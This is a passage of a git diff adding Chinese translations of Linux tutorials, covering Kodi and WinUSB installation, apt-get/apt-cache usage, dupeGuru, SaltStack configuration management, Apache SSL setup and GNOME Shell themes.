Android等。此软件拥有全屏的媒体中心,可以管理所有音乐和视频,不单支持本地文件还支持网络播放,如Tube、[Netflix][3]、 Hulu, Amazon Prime和其他流媒体服务商。 + +### 在 Ubuntu 14.04 和 Linux Mint 17 中安装 XBMC 14 Kodi Helix ### + +再次感谢官方的PPA,让我们可以轻松安装Kodi 14。支持Ubuntu 14.04、Ubuntu 12.04、Linux Mint 17、Pinguy OS 14.04、Deepin 2014、LXLE 14.04、Linux Lite 2.0, Elementary OS 以及其他基于 Ubuntu 的 Linux 发行版。 + +打开终端(Ctrl+Alt+T)然后使用下列命令。 + + sudo add-apt-repository ppa:team-xbmc/ppa + sudo apt-get update + sudo apt-get install kodi + +需要下载大约100MB,在我看来,这不是很大。若需安装解码插件,使用下列命令: + + sudo apt-get install kodi-audioencoder-* kodi-pvr-* + +#### 从 Ubuntu 中移除 Kodi 14 #### + +从系统中移除 Kodi 14,使用下列命令: + + sudo apt-get remove kodi + +同样也应该移除PPA软件源: + + sudo add-apt-repository --remove ppa:team-xbmc/ppa + +我希望这篇简单的文章可以帮助到你在Ubuntu、Linux Mint 和其他 Linux 版本中轻松安装 Kodi 14。你是怎么发现 Kodi 14 Helix 的? + +你有没有使用其他的媒体中心来作为 XBMC 的替代?可以在下面的评论区分享你的观点。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-kodi-14-xbmc-in-ubuntu-14-04-linux-mint-17/ + +作者:[Abhishek][a] +译者:[Vic020/VicYu](http://www.vicyu.net) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://kodi.tv/ +[2]:http://kodi.tv/kodi-14-0-helix-unwinds/ +[3]:http://itsfoss.com/watch-netflix-in-ubuntu-14-04/ diff --git a/published/201502/20150105 How To Install Winusb In Ubuntu 14.04.md b/published/201502/20150105 How To Install Winusb In Ubuntu 14.04.md new file mode 100644 index 0000000000..8fb636c6d2 --- /dev/null +++ b/published/201502/20150105 How To Install Winusb In Ubuntu 14.04.md @@ -0,0 +1,47 @@ +如何在 Ubuntu 14.04 中安装 Winusb +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/WinUSB_Ubuntu_1404.jpeg) + +[WinUSB][1]是一款即简单又有用的工具,可以让你从 Windows ISO 镜像或者 DVD 中创建 USB 安装盘(LCTT译注:支持将 Windows Vista/7/8/PE 制作成 USB 安装盘)。它支持 GUI 和命令行,你可以根据你的喜好决定使用哪种。 + +在本文中我们会展示**如何在 Ubuntu 14.04、14.10 和 Linux Mint 17 中安装 WinUSB**。 + +### 在 Ubuntu 14.04、14.10 和 Linux Mint 17 中安装 WinUSB ### + +在 Ubuntu 13.10 之前, WinUSB 一直都在积极开发,且在官方 PPA 中可以找到。但这个 PPA 还没有为 Ubuntu 14.04 和 14.10 更新,不过其二进制文件仍旧可在更新版本的 Ubuntu 和 Linux Mint 中运行。基于[你使用的系统是32位还是64位][2],使用下面的命令来下载二进制文件: + +打开终端,32位的系统下使用下面的命令: + + wget https://launchpad.net/~colingille/+archive/freshlight/+files/winusb_1.0.11+saucy1_i386.deb + +对于64位的系统,使用下面的命令: + + wget https://launchpad.net/~colingille/+archive/freshlight/+files/winusb_1.0.11+saucy1_amd64.deb + +当你下载了正确的二进制包,你可以用下面的命令安装WinUSB: + + sudo dpkg -i winusb* + +不要担心在你安装WinUSB时看到的错误。使用这条命令修复依赖错误: + + sudo apt-get -f install + +之后,你就可以在 Unity Dash 中查找 WinUSB 并且用它在 Ubuntu 14.04 中创建 Windows 的 live USB 了。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/WinUSB_Ubuntu.png) + +我希望这篇文章能够帮到你**在 Ubuntu 14.04、14.10 和 Linux Mint 17 中安装 WinUSB**。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-winusb-in-ubuntu-14-04/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/Abhishek/ +[1]:http://en.congelli.eu/prog_info_winusb.html +[2]:http://itsfoss.com/how-to-know-ubuntu-unity-version/ diff --git a/published/201502/20150105 Ubuntu apt-get and apt-cache commands with practical examples.md b/published/201502/20150105 Ubuntu apt-get and apt-cache commands with practical examples.md new file mode 100644 index 0000000000..0b581084a5 --- /dev/null +++ b/published/201502/20150105 Ubuntu apt-get and apt-cache commands with practical examples.md @@ -0,0 +1,189 @@ +apt-get 和 apt-cache 命令实例展示 +================================================================================ +apt-get和apt-cache是**Ubuntu Linux**中的命令行下的**包管理**工具。 apt-get的GUI版本是Synaptic包管理器。本篇中我们会展示apt-get和apt-cache命令的15个不同例子。 + +### 示例:1 列出所有可用包 ### + + linuxtechi@localhost:~$ apt-cache pkgnames + account-plugin-yahoojp + ceph-fuse + dvd+rw-tools + e3 + gnome-commander-data + grub-gfxpayload-lists + gweled + ....................................... + +### 示例:2 用关键字搜索包 ### + +这个命令在你不确定包名时很有用,只要在apt-cache(LCTT 译注:这里原文是apt-get,应为笔误)后面输入与包相关的关键字即可。 + + linuxtechi@localhost:~$ apt-cache search "web server" + apache2 - Apache HTTP Server + apache2-bin - Apache HTTP Server (binary files and modules) + apache2-data - Apache HTTP Server (common files) + apache2-dbg - Apache debugging symbols + apache2-dev - Apache HTTP Server (development headers) + apache2-doc - Apache HTTP Server (on-site documentation) + apache2-utils - Apache HTTP Server (utility programs for web servers) + ...................................................................... + +**注意**: 如果你安装了“**apt-file**”包,我们就可以像下面那样用配置文件搜索包。 + + linuxtechi@localhost:~$ apt-file search nagios.cfg + ganglia-nagios-bridge: /usr/share/doc/ganglia-nagios-bridge/nagios.cfg + nagios3-common: /etc/nagios3/nagios.cfg + nagios3-common: /usr/share/doc/nagios3-common/examples/nagios.cfg.gz + pnp4nagios-bin: /etc/pnp4nagios/nagios.cfg + pnp4nagios-bin: /usr/share/doc/pnp4nagios/examples/nagios.cfg + +### 示例:3 显示特定包的基本信息 ### + + linuxtechi@localhost:~$ apt-cache show postfix + Package: postfix + Priority: optional + Section: mail + Installed-Size: 3524 + Maintainer: LaMont Jones + Architecture: amd64 + Version: 2.11.1-1 + Replaces: mail-transport-agent + Provides: default-mta, mail-transport-agent + ..................................................... + +### 示例:4 列出包的依赖 ### + + linuxtechi@localhost:~$ apt-cache depends postfix + postfix + Depends: libc6 + Depends: libdb5.3 + Depends: libsasl2-2 + Depends: libsqlite3-0 + Depends: libssl1.0.0 + |Depends: debconf + Depends: + cdebconf + debconf + Depends: netbase + Depends: adduser + Depends: dpkg + ............................................ + +### 示例:5 使用apt-cache显示缓存统计 ### + + linuxtechi@localhost:~$ apt-cache stats + Total package names: 60877 (1,218 k) + Total package structures: 102824 (5,758 k) + Normal packages: 71285 + Pure virtual packages: 1102 + Single virtual packages: 9151 + Mixed virtual packages: 1827 + Missing: 19459 + Total distinct versions: 74913 (5,394 k) + Total distinct descriptions: 93792 (2,251 k) + Total dependencies: 573443 (16.1 M) + Total ver/file relations: 78007 (1,872 k) + Total Desc/File relations: 93792 (2,251 k) + Total Provides mappings: 16583 (332 k) + Total globbed strings: 171 (2,263 ) + Total dependency version space: 2,665 k + Total slack space: 37.3 k + Total space accounted for: 29.5 M + +### 示例:6 使用 “apt-get update” 更新仓库 ### + +使用命令“apt-get update”, 我们可以重新从源仓库中同步文件索引。包的索引从“/etc/apt/sources.list”中检索。 + + linuxtechi@localhost:~$ sudo apt-get update + Ign http://extras.ubuntu.com utopic InRelease + Hit http://extras.ubuntu.com utopic Release.gpg + Hit http://extras.ubuntu.com utopic Release + Hit http://extras.ubuntu.com utopic/main Sources + Hit http://extras.ubuntu.com utopic/main amd64 Packages + Hit http://extras.ubuntu.com utopic/main i386 Packages + Ign http://in.archive.ubuntu.com utopic InRelease + Ign http://in.archive.ubuntu.com utopic-updates InRelease + Ign http://in.archive.ubuntu.com utopic-backports InRelease + ................................................................ + +### 示例:7 使用apt-get安装包 ### + + linuxtechi@localhost:~$ sudo apt-get install icinga + +上面的命令会安装叫“icinga”的包。 + +### 示例:8 升级所有已安装的包 ### + + linuxtechi@localhost:~$ sudo apt-get upgrade + +### 示例:9 更新特定的包 ### + +在apt-get命令中的“install”选项后面接上“-only-upgrade”用来更新一个特定的包,如下所示: + + linuxtechi@localhost:~$ sudo apt-get install filezilla --only-upgrade + +### 示例:10 使用apt-get卸载包 ### + + linuxtechi@localhost:~$ sudo apt-get remove skype + +上面的命令只会删除skype包,如果你想要删除它的配置文件,在apt-get命令中使用“purge”选项。如下所示: + + linuxtechi@localhost:~$ sudo apt-get purge skype + +我们可以结合使用上面的两个命令: + + linuxtechi@localhost:~$ sudo apt-get remove --purge skype + +### 示例:11 在当前的目录中下载包 ### + + linuxtechi@localhost:~$ sudo apt-get download icinga + Get:1 http://in.archive.ubuntu.com/ubuntu/ utopic/universe icinga amd64 1.11.6-1build1 [1,474 B] + Fetched 1,474 B in 1s (1,363 B/s) + +上面的目录会把icinga包下载到你的当前工作目录。 + +### 示例:12 清理本地包占用的磁盘空间 ### + + linuxtechi@localhost:~$ sudo apt-get clean + +上面的命令会清空apt-get所下载的包占用的磁盘空间。 + +我们也可以使用“**autoclean**”选项来代替“**clean**”,两者之间主要的区别是autoclean清理不再使用且没用的下载。 + + linuxtechi@localhost:~$ sudo apt-get autoclean + Reading package lists... Done + Building dependency tree + Reading state information... Done + +### 示例:13 使用“autoremove”删除包 ### + +当在apt-get命令中使用“autoremove”时,它会删除为了满足依赖而安装且现在没用的包。 + + linuxtechi@localhost:~$ sudo apt-get autoremove icinga + +### 示例:14 显示包的更新日志 ### + + linuxtechi@localhost:~$ sudo apt-get changelog apache2 + Get:1 Changelog for apache2 (http://changelogs.ubuntu.com/changelogs/pool/main/a/apache2/apache2_2.4.10-1ubuntu1/changelog) [195 kB] + Fetched 195 kB in 3s (60.9 kB/s) + +上面的命令会下载apache2的更新日志,并在你屏幕上分页显示。 + +### 示例:15 使用 “check” 选项显示损坏的依赖关系 ### + + linuxtechi@localhost:~$ sudo apt-get check + Reading package lists... Done + Building dependency tree + Reading state information... Done + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/ubuntu-apt-get-apt-cache-commands-examples/ + +作者:[Pradeep Kumar][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201502/20150106 How to deduplicate files on Linux with dupeGuru.md b/published/201502/20150106 How to deduplicate files on Linux with dupeGuru.md new file mode 100644 index 0000000000..143e786e09 --- /dev/null +++ b/published/201502/20150106 How to deduplicate files on Linux with dupeGuru.md @@ -0,0 +1,76 @@ +删除重复文件的神器:dupeGuru +================================================================================ +最近,我需要清理我父亲的文件和文件夹。有一个难题是,里面存在很多不正确的名字的重复文件。有移动硬盘的备份,同时还为同一个文件编辑了多个版本,甚至改变的目录结构,同一个文件被复制了好几次,名字改变,位置改变等,这些文件挤满了磁盘空间。追踪每一个文件成了一个最大的问题。万幸的是,有一个小巧的软件可以帮助你省下很多时间来找到删除你系统中重复的文件:[dupeGuru][1]。它用Python写成,这个去重软件几个小时前切换到了GPLv3许可证。因此是时候用它来清理你的文件了! + +### dupeGuru的安装 ### + +在Ubuntu上, 你可以加入如下硬编码的软件PPA: + + $ sudo apt-add-repository ppa:hsoft/ppa + $ sudo apt-get update + +接着用下面的命令安装: + + $ sudo apt-get install dupeguru-se + +在ArchLinux中,这个包在[AUR][2]中。 + +如果你想自己编译,源码在[GitHub][3]上。 + +### dupeGuru的基本使用 ### + +DupeGuru的构想是既快又安全。这意味着程序不会在你的系统上疯狂地运行。它很少会删除你不想要删除的文件。然而,既然在讨论文件删除,保持谨慎和小心总是好的:备份总是需要的。 + +你看完注意事项后,你可以用下面的命令运行duprGuru了: + + $ dupeguru_se + +你应该看到要你选择文件夹的欢迎界面,在这里加入你你想要扫描的重复文件夹。 + +![](https://farm9.staticflickr.com/8596/16199976251_f78b042fba.jpg) + +一旦你选择完文件夹并启动扫描后,dupeFuru会以列表的形式显示重复文件的组: + +![](https://farm9.staticflickr.com/8600/16016041367_5ab2834efb_z.jpg) + +注意的是默认上dupeGuru基于文件的内容匹配,而不是他们的名字。为了防止意外地删除了重要的文件,匹配列列出了其使用的匹配算法。在这里,你可以选择你想要删除的匹配文件,并按下“Action” 按钮来看到可用的操作。 + +![](https://farm8.staticflickr.com/7516/16199976361_c8f919b06e_b.jpg) + +可用的选项相当广泛。简而言之,你可以删除重复、移动到另外的位置、忽略它们、打开它们、重命名它们甚至用自定义命令运行它们。如果你希望删除重复文件,你可能会像我一样非常意外竟然有这么多种删除方式。 + +![](https://farm8.staticflickr.com/7503/16014366568_54f70e3140.jpg) + +你不仅可以将删除的文件移到垃圾箱或者永久删除,还可以选择留下指向原文件的链接(软链接或者硬链接)。也就是说,重复文件将会删除文件存储,但是会保留下一个指向原文件的链接。这将会省下大量的磁盘空间。如果你将这些文件导入到工作空间或者它们有一些依赖时很有用。 + +还有一个奇特的选项:你可以用HTML或者CSV文件导出结果。我不确定你会不会需要这么做,但是我假设你想追踪重复文件而不是想让dupeGuru处理它们时会有用。 + +最后但并不是最不重要的是,偏好菜单可以让你按照你的想法来操作去重这件事。 + +![](https://farm8.staticflickr.com/7493/16015755749_a9f343b943_z.jpg) + +这里你可以选择扫描的标准,基于内容还是基于名字,并且有一个阈值来控制结果的数量。这里同样可以定义自定义在执行中可以选择的命令。混在其他那些小的选项中,要注意的是dupeGuru默认忽略小于10KB的文件。 + +要了解更多的信息,我建议你到[官方网站][4]看下,这里有很多文档、论坛支持和其他好东西。 + +总结一下,dupeGuru是我无论何时准备备份或者释放空间时所想到的软件。我发现这对高级用户而言也足够强大了,对新人而言也很直观。锦上添花的是:dupeGuru是跨平台的,这意味着你可以在Mac或者在Windows PC上都可以使用。如果你有特定的需求,想要清理音乐或者图片。这里有两个变种:[dupeguru-me][5]和 [dupeguru-pe][6], 相应地可以清理音频和图片文件。与常规版本的不同是它不仅比较文件格式还比较特定的媒体数据像质量和码率。 + +你觉得dupeGuru怎么样?你会考虑使用它么?或者你有任何可以替代的软件的建议么?让我在评论区知道你们的想法。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/dupeguru-deduplicate-files-linux.html + +作者:[Adrien Brochard][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/adrien +[1]:http://www.hardcoded.net/dupeguru/ +[2]:https://aur.archlinux.org/packages/dupeguru-se/ +[3]:https://github.com/hsoft/dupeguru +[4]:http://www.hardcoded.net/dupeguru/ +[5]:http://www.hardcoded.net/dupeguru_me/ +[6]:http://www.hardcoded.net/dupeguru_pe/ \ No newline at end of file diff --git a/published/201502/20150106 Managing Linux server configs with the SaltStack.md b/published/201502/20150106 Managing Linux server configs with the SaltStack.md new file mode 100644 index 0000000000..44c980dddc --- /dev/null +++ b/published/201502/20150106 Managing Linux server configs with the SaltStack.md @@ -0,0 +1,343 @@ +通过 SaltStack 管理服务器配置 +================================================================================ +![](http://techarena51.com/wp-content/uploads/2015/01/SaltStack+logo+-+black+on+white.png) + +我在搜索[Puppet][1]的替代品时,偶然间碰到了Salt。我喜欢puppet,但是我又爱上Salt了:)。我发现Salt在配置和使用上都要比Puppet简单,当然这只是一家之言,你大可不必介怀。另外一个爱上Salt的理由是,它可以让你从命令行管理服务器配置,比如: + +要通过Salt来更新所有服务器,你只需运行以下命令即可 + + salt '*' pkg.upgrade + + +##安装SaltStack到Linux上## + +如果你是在CentOS 6/7上安装的话,那么Salt可以通过EPEL仓库获取到。而对于Pi和Ubuntu Linux用户,你可以从[这里][2]添加Salt仓库。Salt是基于python的,所以你也可以使用‘pip’来安装,但是你得用yum-utils或是其它包管理器来自己处理它的依赖关系。 + +Salt采用服务器-客户端模式,服务器端称为领主,而客户端则称为下属。 + +###安装并配置Salt领主### + + [root@salt-master~]# yum install salt-master + +Salt配置文件位于/etc/salt和/srv/salt。Salt虽然可以开箱即用,但我还是建议你将日志配置得更详细点,以方便日后排除故障。 + + [root@salt-master ~]# vim /etc/salt/master + # 默认是warning,修改如下 + log_level: debug + log_level_logfile: debug + + [root@salt-master ~]# systemctl start salt-master + +###安装并配置Salt下属### + + [root@salt-minion~]#yum install salt-minion + + # 添加你的Salt领主的主机名 + [root@salt-minion~]#vim /etc/salt/minion + master: salt-master.com + # 启动下属 + [root@salt-minion~] systemctl start salt-minion + +在启动时,下属客户机会生成一个密钥和一个id。然后,它会连接到Salt领主服务器并验证自己的身份。Salt领主服务器在允许下属客户机下载配置之前,必须接受下属的密钥。 + +###在Salt领主服务器上列出并接受密钥### + + # 列出所有密钥 + [root@salt-master~] salt-key -L + Accepted Keys: + Unaccepted Keys: + minion.com + Rejected Keys: + + # 使用id 'minion.com'命令接受密钥 + [root@salt-master~]salt-key -a minion.com + + [root@salt-master~] salt-key -L + Accepted Keys: + minion.com + Unaccepted Keys: + Rejected Keys: + +在接受下属客户机的密钥后,你可以使用‘salt’命令来立即获取信息。 + +##Salt命令行实例## + + # 检查下属是否启动并运行 + [root@salt-master~] salt 'minion.com' test.ping + minion.com: + True + # 在下属客户机上运行shell命令 + [root@salt-master~]# salt 'minion.com' cmd.run 'ls -l' + minion.com: + total 2988 + -rw-r--r--. 1 root root 1024 Jul 31 08:24 1g.img + -rw-------. 1 root root 940 Jul 14 15:04 anaconda-ks.cfg + -rw-r--r--. 1 root root 1024 Aug 14 17:21 test + # 安装/更新所有服务器上的软件 + [root@salt-master ~]# salt '*' pkg.install git + +salt命令需要一些组件来发送信息,其中之一是下属客户机的id,而另一个是下属客户机上要调用的函数。 + +在第一个实例中,我使用‘test’模块的‘ping’函数来检查系统是否启动。该函数并不是真的实施一次ping,它仅仅是在下属客户机作出回应时返回‘真’。 + +‘cmd.run’用于执行远程命令,而‘pkg’模块包含了包管理的函数。本文结尾提供了全部内建模块的列表。 + +###颗粒实例### + +Salt使用一个名为**颗粒(Grains)**的界面来获取系统信息。你可以使用颗粒在指定属性的系统上运行命令。 + + [root@vps4544 ~]# salt -G 'os:Centos' test.ping + minion: + True + +更多颗粒实例,请访问http://docs.saltstack.com/en/latest/topics/targeting/grains.html + +##通过状态文件系统进行包管理## + +为了使软件配置自动化,你需要使用状态系统,并创建状态文件。这些文件使用YAML格式和python字典、列表、字符串以及编号来构成数据结构。将这些文件从头到尾研读一遍,这将有助于你更好地理解它的配置。 + +###VIM状态文件实例### + + [root@salt-master~]# vim /srv/salt/vim.sls + vim-enhanced: + pkg.installed + /etc/vimrc: + file.managed: + - source: salt://vimrc + - user: root + - group: root + - mode: 644 + +该文件的第一和第三行称为状态id,它们必须包含有需要管理的包或文件的确切名称或路径。在状态id之后是状态和函数声明,‘pkg’和‘file’是状态声明,而‘installed’和‘managed’是函数声明。函数接受参数,用户、组、模式和源都是函数‘managed’的参数。 + +要将该配置应用到下属客户端,请移动你的‘vimrc’文件到‘/src/salt’,然后运行以下命令。 + + [root@salt-master~]# salt 'minion.com' state.sls vim + minion.com: + ---------- + ID: vim-enhanced + Function: pkg.installed + Result: True + Comment: The following packages were installed/updated: vim-enhanced. + Started: 09:36:23.438571 + Duration: 94045.954 ms + Changes: + ---------- + vim-enhanced: + ---------- + new: + 7.4.160-1.el7 + old: + + + Summary + ------------ + Succeeded: 1 (changed=1) + Failed: 0 + ------------ + Total states run: 1 + +你也可以添加依赖关系到你的配置中。 + + [root@salt-master~]# vim /srv/salt/ssh.sls + openssh-server: + pkg.installed + + + /etc/ssh/sshd_config: + file.managed: + - user: root + - group: root + - mode: 600 + - source: salt://ssh/sshd_config + + sshd: + service.running: + - require: + - pkg: openssh-server + +这里的‘require’声明是必须的,它在‘service’和‘pkg’状态之间创建依赖关系。该声明将首先检查包是否安装,然后运行服务。 + +但是,我更偏向于使用‘watch’声明,因为它也可以检查文件是否修改和重启服务。 + + [root@salt-master~]# vim /srv/salt/ssh.sls + openssh-server: + pkg.installed + + + /etc/ssh/sshd_config: + file.managed: + - user: root + - group: root + - mode: 600 + - source: salt://sshd_config + + sshd: + service.running: + - watch: + - pkg: openssh-server + - file: /etc/ssh/sshd_config + + [root@vps4544 ssh]# salt 'minion.com' state.sls ssh + seven.leog.in: + Changes: + ---------- + ID: openssh-server + Function: pkg.installed + Result: True + Comment: Package openssh-server is already installed. + Started: 13:01:55.824367 + Duration: 1.156 ms + Changes: + ---------- + ID: /etc/ssh/sshd_config + Function: file.managed + Result: True + Comment: File /etc/ssh/sshd_config updated + Started: 13:01:55.825731 + Duration: 334.539 ms + Changes: + ---------- + diff: + --- + +++ + @@ -14,7 +14,7 @@ + # SELinux about this change. + # semanage port -a -t ssh_port_t -p tcp #PORTNUMBER + # + -Port 22 + +Port 422 + #AddressFamily any + #ListenAddress 0.0.0.0 + #ListenAddress :: + + ---------- + ID: sshd + Function: service.running + Result: True + Comment: Service restarted + Started: 13:01:56.473121 + Duration: 407.214 ms + Changes: + ---------- + sshd: + True + + Summary + ------------ + Succeeded: 4 (changed=2) + Failed: 0 + ------------ + Total states run: 4 + +在单一目录中维护所有的配置文件是一项复杂的大工程,因此,你可以创建子目录并在其中添加配置文件init.sls文件。 + + [root@salt-master~]# mkdir /srv/salt/ssh + [root@salt-master~]# vim /srv/salt/ssh/init.sls + openssh-server: + pkg.installed + + + /etc/ssh/sshd_config: + file.managed: + - user: root + - group: root + - mode: 600 + - source: salt://ssh/sshd_config + + sshd: + service.running: + - watch: + - pkg: openssh-server + - file: /etc/ssh/sshd_config + + [root@vps4544 ssh]# cp /etc/ssh/sshd_config /srv/salt/ssh/ + [root@vps4544 ssh]# salt 'minion.com' state.sls ssh + +###Top文件和环境### + +top文件(top.sls)是用来定义你的环境的文件,它允许你映射下属客户机到包,默认环境是‘base’。你需要定义在基本环境下,哪个包会被安装到哪台服务器。 + +如果对于一台特定的下属客户机而言,有多个环境,并且有多于一个的定义,那么默认情况下,基本环境将取代其它环境。 + +要定义环境,你需要将它添加到领主配置文件的‘file_roots’指针。 + + [root@salt-master ~]# vim /etc/salt/master + file_roots: + base: + - /srv/salt + dev: + - /srv/salt/dev + +现在,添加一个top.sls文件到/src/salt。 + + [root@salt-master ~]# vim /srv/salt/top.sls + base: + '*': + - vim + 'minion.com': + - ssh + +应用top文件配置 + + [root@salt-master~]# salt '*' state.highstate + minion.com: + ---------- + ID: vim-enhanced + Function: pkg.installed + Result: True + Comment: Package vim-enhanced is already installed. + Started: 13:10:55 + Duration: 1678.779 ms + Changes: + ---------- + ID: openssh-server + Function: pkg.installed + Result: True + Comment: Package openssh-server is already installed. + Started: 13:10:55. + Duration: 2.156 ms + +下属客户机将下载top文件并搜索用于它的配置,领主服务器也会将配置应用到所有下属客户机。 + +--- + +这仅仅是一个Salt的简明教程,如果你想要深入学习并理解,你可以访问下面的链接。如果你已经在使用Salt,那么请告诉我你的建议和意见吧。 + +更新: [Foreman][3] 已经通过[插件][4]支持salt。 + +阅读链接 + +- http://docs.saltstack.com/en/latest/ref/states/top.html#how-top-files-are-compiled +- http://docs.saltstack.com/en/latest/topics/tutorials/states_pt1.html +- http://docs.saltstack.com/en/latest/ref/states/highstate.html#state-declaration + +颗粒 + +- http://docs.saltstack.com/en/latest/topics/targeting/grains.html + +Salt模块列表 + +Salt和Puppet的充分比较 + +- https://mywushublog.com/2013/03/configuration-management-with-salt-stack/ + +内建执行模块的完全列表 + +- http://docs.saltstack.com/en/latest/ref/modules/all/ + +-------------------------------------------------------------------------------- + +via: http://techarena51.com/index.php/getting-started-with-saltstack/ + +作者:[Leo G][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://techarena51.com/ +[1]:http://techarena51.com/index.php/a-simple-way-to-install-and-configure-a-puppet-server-on-linux/ +[2]:http://docs.saltstack.com/en/latest/topics/installation/index.html +[3]:http://techarena51.com/index.php/using-foreman-opensource-frontend-puppet/ +[4]:https://github.com/theforeman/foreman_salt/wiki diff --git a/published/201502/20150108 How to Install SSL on Apache 2.4 in Ubuntu 14.0.4.md b/published/201502/20150108 How to Install SSL on Apache 2.4 in Ubuntu 14.0.4.md new file mode 100644 index 0000000000..638bb2f67f --- /dev/null +++ b/published/201502/20150108 How to Install SSL on Apache 2.4 in Ubuntu 14.0.4.md @@ -0,0 +1,72 @@ +如何在Ubuntu 14.04 上为Apache 2.4 安装SSL支持 +================================================================================ +今天我会讲述如何为你的个人网站或者博客安装**SSL 证书**,来保护你的访问者和网站之间通信的安全。 + +安全套接字层或称SSL,是一种加密网站和浏览器之间连接的标准安全技术。这确保服务器和浏览器之间传输的数据保持隐私和安全。它被成千上万的人使用来保护他们与客户的通信。要启用SSL链接,Web服务器需要安装SSL证书。 + +你可以创建你自己的SSL证书,但是这默认不会被浏览器所信任,要解决这个问题,你需要从受信任的证书机构(CA)处购买证书,我们会向你展示如何获取证书并在apache中安装。 + +### 生成一个证书签名请求 ### + +证书机构(CA)会要求你在你的服务器上生成一个证书签名请求(CSR)。这是一个很简单的过程,只需要一会儿就行,你需要在你的服务器上运行下面的命令并输入需要的信息: + + # openssl req -new -newkey rsa:2048 -nodes -keyout yourdomainname.key -out yourdomainname.csr + +输出看上去会像这样: + +![generate csr](http://blog.linoxide.com/wp-content/uploads/2015/01/generate-csr.jpg) + +这一步会生成两个文件:一个用于解密SSL证书的私钥文件,一个证书签名请求(CSR)文件(用于申请你的SSL证书)。 + +根据你申请的机构,你会需要上传csr文件或者在网站表格中粘帖该文件内容。 + +### 在Apache中安装实际的证书 ### + +生成步骤完成之后,你会收到新的数字证书。本篇教程中我们使用[Comodo SSL][1],并在一个它发给我们的zip文件中收到了证书。要在apache中使用它,你首先需要用下面的命令用收到的证书创建一个组合的证书: + + # cat COMODORSADomainValidationSecureServerCA.crt COMODORSAAddTrustCA.crt AddTrustExternalCARoot.crt > bundle.crt + +![bundle](http://blog.linoxide.com/wp-content/uploads/2015/01/bundle.jpg) + +用下面的命令确保ssl模块已经加载进apache了: + + # a2enmod ssl + +如果你看到了“Module ssl already enabled”这样的信息就说明你成功了,如果你看到了“Enabling module ssl”,那么你还需要用下面的命令重启apache: + + # service apache2 restart + +最后像下面这样修改你的虚拟主机文件(通常在/etc/apache2/sites-enabled 下): + + DocumentRoot /var/www/html/ + ServerName linoxide.com + SSLEngine on + SSLCertificateFile /usr/local/ssl/crt/yourdomainname.crt + SSLCertificateKeyFile /usr/local/ssl/yourdomainname.key + SSLCACertificateFile /usr/local/ssl/bundle.crt + +你现在应该可以用https://YOURDOMAIN/(注意使用‘https’而不是‘http’)来访问你的网站了,并可以看到SSL的进度条了(通常在你浏览器中用一把锁来表示)。 + + +**注意:** 现在所有的内容链接都必须指向https,如果网站上的一些内容(像图片或者css文件等)仍旧指向http链接的话,你会在浏览器中得到一个警告,要修复这个问题,请确保每个链接都指向了https。 + +### 在你的网站上重定向HTTP请求到HTTPS中 ### + +如果你希望重定向常规的HTTP请求到HTTPS,添加下面的文本到你希望修改的虚拟主机,或者如果希望给服务器上所有网站都添加的话就加入到apache.conf中: + + RewriteEngine On + RewriteCond %{HTTPS} off + RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/install-ssl-apache-2-4-in-ubuntu/ + +作者:[Adrian Dinu][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:https://ssl.comodo.com/ \ No newline at end of file diff --git a/published/201502/20150112 Best GNOME Shell Themes For Ubuntu 14.04.md b/published/201502/20150112 Best GNOME Shell Themes For Ubuntu 14.04.md new file mode 100644 index 0000000000..1b414e71c0 --- /dev/null +++ b/published/201502/20150112 Best GNOME Shell Themes For Ubuntu 14.04.md @@ -0,0 +1,123 @@ +Ubuntu 14.04 上 最好的 GNOME Shell 主题 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/01/Best_Gnome_Shell_Themes.jpeg) + +最好的方式来自定义你的 Linux 桌面就是使用自定义主题。假如你在 [Ubuntu 14.04 中安装 GNOME][1] 或 在 Ubuntu 14.10 中安装了 GNOME,你或许想改变默认的主题以呈现出不同的外观。在这里,为了帮助你完成该任务,我已经编制好了一个列表—— **Ubuntu 或其他已经安装了 GNOME shell 的 Linux 操作系统中,最好的 GNOME Shell 主题** 。但在我们揭晓这份列表之前, 让我们先了解如何在 GNOME shell 中安装和应用新的主题。 + +### 在 GNOME Shell 中安装主题 ### + +要在带有 GNOME 桌面的 Ubuntu 中安装新的主题,你可以使用 Gnome Tweak Tool,它可以在 Ubuntu 软件库中得到。打开一个终端窗口并使用如下命令: + +``` +sudo apt-get install gnome-tweak-tool +``` + +或者,你可以通过把主题放置到 `~/.themes` 目录中来使用。如果你需要,我已经写了一个关于 [如何安装和使用 GNOME shell][2]的具体教程。 + +### 最好的 GNOME Shell 